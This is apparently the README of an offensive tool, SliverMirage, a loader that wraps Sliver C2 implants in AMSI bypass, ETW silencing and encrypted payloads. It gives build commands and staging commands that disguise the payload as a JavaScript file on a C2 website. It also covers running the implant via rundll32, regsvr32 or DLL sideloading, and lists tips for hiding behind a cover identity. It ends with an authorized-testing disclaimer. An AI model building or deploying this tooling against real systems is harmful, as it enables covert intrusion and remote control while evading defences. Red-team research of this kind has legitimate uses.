daniomass/slivermirageCrystal Palace PICO loader for Sliver C2 dual-layer AMSI bypass, ETW silencing, AES-256-CBC encrypted payloads, 6 delivery variants
A fork of CrystalSliver, extending the Crystal Palace PICO loader with dual-layer AMSI bypass, ETW silencing, and six delivery variants for Sliver C2.
SliverMirage wraps a Sliver implant DLL through Crystal Palace PICO virtualization, then delivers it via a loader that defeats AMSI and ETW without patching amsi.dll or ntdll.dll.
Evasion stack:
| Layer | Technique | Detail |
|---|
| AMSI L1 | CLR string corruption | LdrRegisterDllNotification intercepts clr.dll load, corrupts AmsiScanBuffer in .rdata before CLR calls GetProcAddress |
| AMSI L2 | VEH + HWBP | Vectored Exception Handler on AmsiScanBuffer returns E_INVALIDARG |
| ETW | HWBP | DR1 on NtTraceControl, returns STATUS_SUCCESS |
| Payload | AES-256-CBC + XOR | BCrypt decryption, VirtualAlloc(RW) -> VirtualProtect(RX), zero RWX |
| Virtualization | Crystal Palace PICO | Sliver DLL runs inside a PICO process, invisible to userland AV |
| Format | File | Delivery | C2 at runtime? |
|---|---|---|---|
exe | Staged EXE | EXE + payload.dat on C2 website | Yes (HTTPS) |
exe-stageless | Stageless EXE | Single EXE | No |
dll | Stageless DLL | Single DLL | No |
dll-staged | Staged DLL | DLL + payload.dat on C2 website | Yes (HTTPS) |
shellcode | Staged shellcode | .bin + payload.dat | Yes (HTTPS) |
shellcode-stageless | Stageless shellcode | Single .bin | No |
Staged variants download the encrypted PICO at runtime from a Sliver HTTPS website. The EXE/DLL is small (~20 KB) and carries no payload on disk.
Stageless variants embed the encrypted PICO at compile time (XOR + AES double-layer). Larger on disk but zero network activity before beacon callback.
x86_64-w64-mingw32-gcc (mingw-w64)nasmpython3 with pefile (pip install pefile)opensslbuild.sh)The build script auto-provisions missing dependencies (including Crystal Palace and Java 17) and handles the full pipeline: DLL -> Crystal Palace PICO -> encrypt -> compile.
# Staged EXE (default)
./build.sh --dll /path/to/sliver_implant.dll --host 10.0.0.1
# Stageless EXE
./build.sh --dll /path/to/sliver_implant.dll --format exe-stageless
# Stageless DLL
./build.sh --dll /path/to/sliver_implant.dll --format dll
# Staged DLL
./build.sh --dll /path/to/sliver_implant.dll --format dll-staged --host 10.0.0.1
# Shellcode (staged)
./build.sh --dll /path/to/sliver_implant.dll --format shellcode --host 10.0.0.1
# Shellcode (stageless)
./build.sh --dll /path/to/sliver_implant.dll --format shellcode-stageless
Options:
--dll <path> — Sliver implant DLL (required)--host <ip> — C2 server IP (required for staged formats)--port <port> — C2 port (default: 443)--path <path> — URL path for payload download (default: /assets/js/vendor.js)--format <fmt> — Output format (default: exe)--export <name> — Custom DLL export nameIf you already have a Crystal Palace PICO blob:
# Staged EXE
make PICO=/path/to/implant.crystal.bin C2_HOST=10.0.0.1
# Stageless EXE
make exe-stageless PICO=/path/to/implant.crystal.bin
# Stageless DLL
make dll PICO=/path/to/implant.crystal.bin
# All targets
make clean
Upload build/payload.dat to a Sliver HTTPS website:
sliver > websites add-content --website cover \
--web-path /assets/js/vendor.js \
--content-type application/javascript \
--content build/payload.dat
Deliver build/csvchelper.exe (or .dll) to the target.
Single file delivery. No C2 website setup needed.
rundll32 csvchelper.dll,StartW
regsvr32 /s csvchelper.dll
Or use DLL sideloading (rename to match a legitimate DLL the target application loads).
Exports: DllRegisterServer, DllUnregisterServer, StartW, VoidFunc
SliverMirage/
loader/ # Crystal Palace PICO loader (from CrystalSliver)
src/ # Loader C sources + draugr ASM
loader.spec # Crystal Palace linker spec
pico.spec # PICO generation spec
src/
stager_remote.c # Staged EXE
stager_stageless.c # Stageless EXE
stager_remote_dll.c # Staged DLL
stager_stageless_dll.c # Stageless DLL
stager_debug.c # Debug EXE (MessageBox diagnostics)
scripts/
gen_payload.py # AES-256-CBC encrypt (staged)
gen_payload_stageless.py # AES + XOR embed (stageless)
dll_to_shellcode.py # sRDI DLL-to-shellcode converter
resources/
resource.rc # Version info (EXE)
resource_dll.rc # Version info (DLL)
manifest.xml # asInvoker manifest
libtcg.x64.zip # TCG library for Crystal Palace
Makefile
build.sh
kernel32, advapi32, bcrypt — all legitimate Windows APIsVirtualProtect on system DLLsWinMain entry point, -mwindows — no console flashasInvoker manifest suppresses UAC heuristicsresource.rc / resource_dll.rc with your cover identity before buildingThis project is intended for authorized security testing, research, and educational purposes only. Use it exclusively in environments where you have explicit written permission to conduct penetration testing. Unauthorized access to computer systems is illegal. The authors assume no liability for misuse of this software.
MIT